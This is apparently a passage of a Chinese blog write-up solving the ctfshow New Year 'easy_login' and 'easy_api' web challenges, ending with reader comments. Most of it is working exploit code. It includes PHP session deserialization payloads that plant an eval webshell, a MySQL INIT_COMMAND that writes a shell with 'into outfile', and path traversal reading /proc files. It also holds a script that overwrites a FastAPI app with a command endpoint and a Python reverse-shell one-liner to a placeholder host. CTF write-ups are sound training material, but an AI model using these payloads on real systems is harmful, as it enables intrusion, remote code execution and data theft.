#O%3A11%3A%22application%22%3A6%3A%7Bs%3A6%3A%22cookie%22%3BO%3A13%3A%22cookie_helper%22%3A1%3A%7Bs%3A21%3A%22%00cookie_helper%00secret%22%3BN%3B%7Ds%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A2%3A%7Bs%3A16%3A%22%00mysql_helper%00db%22%3Ba%3A0%3A%7B%7Ds%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A19%3Bi%3A262152%3B%7D%7Ds%3A9%3A%22dispather%22%3BN%3Bs%3A5%3A%22loger%22%3BO%3A10%3A%22userLogger%22%3A3%3A%7Bs%3A8%3A%22username%22%3BN%3Bs%3A20%3A%22%00userLogger%00password%22%3BN%3Bs%3A20%3A%22%00userLogger%00filename%22%3Bs%3A10%3A%22..%2Flog.txt%22%3B%7Ds%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A10%3A%22dispatcher%22%3BO%3A10%3A%22dispatcher%22%3A0%3A%7B%7D%7D

脚本:

import requests
import time

url = "http://38578ee2-680e-4236-b362-28fc9eb32421.challenge.ctf.show/"

def step1():
    data={
        "username":"userLogger",
        "password":"<?=eval($_POST[1]);?>.php"
    }
    response = requests.post(url=url+"index.php?action=do_register",data=data)
    time.sleep(1)
    if "script" in response.text:
        print("第一步执行完毕")
    else:
        print(response.text)
        exit()

def step2():
    data="token=user|O%3A11%3A%22application%22%3A6%3A%7Bs%3A6%3A%22cookie%22%3BO%3A13%3A%22cookie_helper%22%3A1%3A%7Bs%3A21%3A%22%00cookie_helper%00secret%22%3BN%3B%7Ds%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A2%3A%7Bs%3A16%3A%22%00mysql_helper%00db%22%3Ba%3A0%3A%7B%7Ds%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A19%3Bi%3A262152%3B%7D%7Ds%3A9%3A%22dispather%22%3BN%3Bs%3A5%3A%22loger%22%3BO%3A10%3A%22userLogger%22%3A3%3A%7Bs%3A8%3A%22username%22%3BN%3Bs%3A20%3A%22%00userLogger%00password%22%3BN%3Bs%3A20%3A%22%00userLogger%00filename%22%3Bs%3A10%3A%22..%2Flog.txt%22%3B%7Ds%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A10%3A%22dispatcher%22%3BO%3A10%3A%22dispatcher%22%3A0%3A%7B%7D%7D"
    response = requests.get(url=url+"index.php?action=main&token="+data)
    time.sleep(1)
    print("第二步执行完毕")

def step3():
    data={
        "1":"system('whoami && cat /f*');",
    }
    response = requests.post(url=url+"log.txt_-%3C%3F%3Deval(%24_POST%5B1%5D)%3B%3F%3E.php",data=data)
    time.sleep(1)
    if "www-data" in response.text:
        print("第三步 getshell 成功")
        print(response.text)
    else:
        print("第三步 getshell 失败")

if __name__ == '__main__':
    step1()
    step2()
    step3()

官方脚本那个反序列化数据比较扯淡,被打码的隐藏数据都拿来反序列化了,其实那些是不必要的。

非预期

ctfshow元旦水友赛web easy_login详解,看的这个大佬的。

还是mysql_helper这里,官方文档里还有一个参数MYSQL_ATTR_INIT_COMMAND,可以指定连接mysql时执行的语句,比如直接写个马就无敌了

<?php

session_start();
class mysql_helper
{
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=eval(\$_POST[1]);?>'  into outfile '/var/www/html/fushuling.php';"
    );
}
class application
{
    public $mysql;
    public $debug = true;

    public function __construct()
    {
        $this->mysql = new mysql_helper();
    }

}
$_SESSION['user'] = new application();
echo urlencode(session_encode());

#user%7CO%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A57%3A%22select+%27%3C%3F%3D%60nl+%2F%2A%60%3B%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F3.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D

脚本:

import requests
import time

url = "http://38578ee2-680e-4236-b362-28fc9eb32421.challenge.ctf.show/"

def step1():
    data="token=user%7CO%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A75%3A%22select+%27%3C%3F%3Deval%28%24_POST%5B1%5D%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2Ffushuling.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D"
    response = requests.get(url=url+"index.php?action=main&token="+data)
    time.sleep(1)
    print("第一步执行完毕")

def step2():
    data={
        "1":"system('whoami && cat /f*');",
    }
    response = requests.post(url=url+"fushuling.php",data=data)
    time.sleep(1)
    if "www-data" in response.text:
        print("getshell 成功")
        print(response.text)
    else:
        print("getshell 失败")

if __name__ == '__main__':
    step1()
    step2()

easy_api

访问url/openapi.json获得api接口列表

{
  "openapi": "3.1.0",
  "info": {
    "title": "FastAPI",
    "version": "0.1.0"
  },
  "paths": {
    "/upload/": {
      "post": {
        "summary": "Upload File",
        "operationId": "upload_file_upload__post",
        "requestBody": {
          "content": {
            "multipart/form-data": {
              "schema": {
                "$ref": "#/components/schemas/Body_upload_file_upload__post"
              }
            }
          },
          "required": true
        },
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/uploads/{fileIndex}": {
      "get": {
        "summary": "Download File",
        "operationId": "download_file_uploads__fileIndex__get",
        "parameters": [
          {
            "name": "fileIndex",
            "in": "path",
            "required": true,
            "schema": {
              "type": "string",
              "title": "Fileindex"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/list": {
      "get": {
        "summary": "List File",
        "operationId": "list_file_list_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        }
      }
    },
    "/": {
      "get": {
        "summary": "Index",
        "operationId": "index__get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        }
      }
    }
  },
  "components": {
    "schemas": {
      "Body_upload_file_upload__post": {
        "properties": {
          "file": {
            "type": "string",
            "format": "binary",
            "title": "File"
          }
        },
        "type": "object",
        "required": [
          "file"
        ],
        "title": "Body_upload_file_upload__post"
      },
      "HTTPValidationError": {
        "properties": {
          "detail": {
            "items": {
              "$ref": "#/components/schemas/ValidationError"
            },
            "type": "array",
            "title": "Detail"
          }
        },
        "type": "object",
        "title": "HTTPValidationError"
      },
      "ValidationError": {
        "properties": {
          "loc": {
            "items": {
              "anyOf": [
                {
                  "type": "string"
                },
                {
                  "type": "integer"
                }
              ]
            },
            "type": "array",
            "title": "Location"
          },
          "msg": {
            "type": "string",
            "title": "Message"
          },
          "type": {
            "type": "string",
            "title": "Error Type"
          }
        },
        "type": "object",
        "required": [
          "loc",
          "msg",
          "type"
        ],
        "title": "ValidationError"
      }
    }
  }
}

这里定义了四个API路径

/upload/:上传文件,使用 POST 方法,并接受一个 multipart/form-data 类型的请求体,其中包含一个名为 file 的文件对象。
/uploads/{fileIndex}:下载文件,使用 GET 方法,并接受一个名为 fileIndex 的路径参数,表示要下载的文件的索引。
/list:列出所有已上传的文件,使用 GET 方法。
/:根路径,使用 GET 方法。

测试脚本:

import requests
import re

url = "http://2df4b7ed-e862-4d5d-89ff-6e19c9610d4d.challenge.ctf.show/"
name = "fushuling"
response = requests.post(
        url=url+"upload/",
        files={"file":(name, "fushuling")}
    )
print(response.text)
fileIndex=re.search(r'"fileName":"([^"]+)"', str(response.text)).group(1)
# print(fileIndex)
response = requests.get(
        url=url+"uploads/"+fileIndex
    )
print(response.text)
'''
{"fileName":"7ed7d072-7526-403a-98c3-b422698426f4"}
{"fileName":"7ed7d072-7526-403a-98c3-b422698426f4","fileContent":"fushuling"}
'''

这里猜测题目使用了os.path.join进行了路径拼接,存在路径穿越,我们可以把本来服务器上的文件传上去然后读,这样就有任意文件读取

import requests
import re

url = "http://2df4b7ed-e862-4d5d-89ff-6e19c9610d4d.challenge.ctf.show/"

def upload(name):
    response = requests.post(
            url=url+"upload/",
            files={"file":(name, "fushuling")}
        )
    print(response.text)
    fileIndex=re.search(r'"fileName":"([^"]+)"', str(response.text)).group(1)
    # print(fileIndex)
    response = requests.get(
        url=url+"uploads/"+fileIndex
    )
    print(response.text)

for pid in range(20):
        filename = f'/proc/{pid}/cmdline'
        # filename = "/proc/1/cmdline"
        upload(filename)

读出来当前工作目录是/ctfshowsecretdir,uvicorn主文件名为ctfshow2024secret,所以我们知道当前这个应用文件其实就在/ctfshowsecretdir/ctfshow2024secret.py,我们可以写一个api木马,覆盖主程序,名字不能变然后重载,这样就能RCE,官方脚本:

#-*- coding : utf-8 -*-
# coding: utf-8
import time
import requests
import io,json

url = "http://xxxx/"
app = ''
# Author:ctfshow-h1xa

def get_api():
    response = requests.get(url=url+"openapi.json")
    if "FastAPI" in response.text:
        apijson = json.loads(response.text)
    return apijson
    
    

def get_pwd():
    pwd = ''
    for pid in range(20):
        data = f'/proc/{pid}/environ'
        file = upload(data)
        content = download(file['fileName'])
        if content['fileName'] and 'PWD' in content['fileContent']:
            pwd = content['fileContent'][content['fileContent'].find("PWD=")+4:content['fileContent'].find("GPG_KEY=")]+'/'
            break
    return pwd

def get_python_file():
    python_file = ''
    for pid in range(20):
        data = f'/proc/{pid}/cmdline'
        file = upload(data)
        content = download(file['fileName'])
        if content['fileName'] and 'uvicorn' in content['fileContent']:
            if 'reload' in content['fileContent']:
                print("[√] 检测到存在reload参数,可以进行热部署")
                python_file = content['fileContent'][content['fileContent'].find("uvicorn")+7:content['fileContent'].find(":")]+".py"
                print(f"[√] 检测到主程序,{python_file}")
                global app
                app = content['fileContent'][content['fileContent'].find("uvicorn")+7+len(python_file)-3+1:content['fileContent'].find("--")]
                print(f"[√] 检测到uvicorn的应用名,{app}")
            else:
                print("[x] 检测到无reload参数,无法热部署,程序结束")
                exit()
            break
    return python_file

def new_file():
    global app
    return f'''
import uvicorn,os
from fastapi import *
{app} = FastAPI()

@{app}.get("/s")
def s(c):
  os.popen(c)
'''.replace("\x00","")

def get_shell(name):
    name = name.replace("\x00","")
    response = requests.post(
            url=url+"upload/",
            files={"file":(name, new_file())}
        )
    if 'fileName' in response.text:
        print(f"[√] 上传成功,等待5秒重载主程序 ")
        for i in range(5):
            time.sleep(1)
            print("[√] "+str(5-i)+" 秒后验证重载")
    else:
        print("[x] 主程序重写失败,程序退出")
        exit()
    try:
        response = requests.get(url=url+'s/?c=whoami', timeout=3)
    except:
        print("[x] 主程序重载失败,程序退出")
        exit()
    if response.status_code == 200:
        print(f"[√] 恭喜,getshell成功 路径为{url}s/ ")
    else:
        print("[x] 主程序重载失败,程序退出")
        exit()

def upload(name):
    f = io.BytesIO(b'a' * 100)
    response = requests.post(
            url=url+"upload/",
            files={"file":(name, f)}
        )
    if 'fileName' in response.text:
        data = json.loads(response.text)
        return data
    else:
        return {'fileName':''}

def download(file):
    response = requests.get(url=url+"uploads/"+file)
    if 'fileName' in response.text:
        data = json.loads(response.text)
        return data
    else:
        return {'fileName':''}

def main():
    print("[√] 开始读取openapi.json")
    apijson = get_api()
    print("[√] 开放api有")
    print(*apijson['paths'])
    print("[√] 开始读取运行目录")
    pwd = get_pwd()
    if pwd:
        print(f"[√] 运行目录读取成功 路径为{pwd}")
    else:
        print("[x] 运行路径读取失败,程序退出")
        exit()
    python_file = get_python_file()
    if python_file:
        print(f"[√] uvicorn主文件读取成功 路径为{pwd}{python_file}")
    else:
        print("[x] uvicorn主文件读取失败,程序退出")
        exit()
    get_shell(pwd+python_file)

if __name__ == "__main__":
    main()

这个小马执行命令没有回显,用python弹shell即可

url/s?c=python%20-c%20%22import%20os%2Csocket%2Csubprocess%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect(('x.x.x.x'%2C9383))%3Bos.dup2(s.fileno()%2C0)%3Bos.dup2(s.fileno()%2C1)%3Bos.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B'%2Fbin%2Fbash'%2C'-i'%5D)%3B%22

官方wp链接CTFshow元旦水友赛官方WP,写的没有我详细,但我也是跟着他的思路写的,所以还是建议看看官方wp。近来因为一些事意志消沉了很久,还好缓过来了,希望以后能做更多有意义的事。

评论

  1. FSRM
    8月前
    2024-1-30 18:07:47

    加油

  2. 6月前
    2024-4-07 0:59:32

    There is definately a lot to find out about this subject. I like all the points you made

  3. 5月前
    2024-4-23 9:13:15

    Pretty! This has been a really wonderful post. Many thanks for providing these details.

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇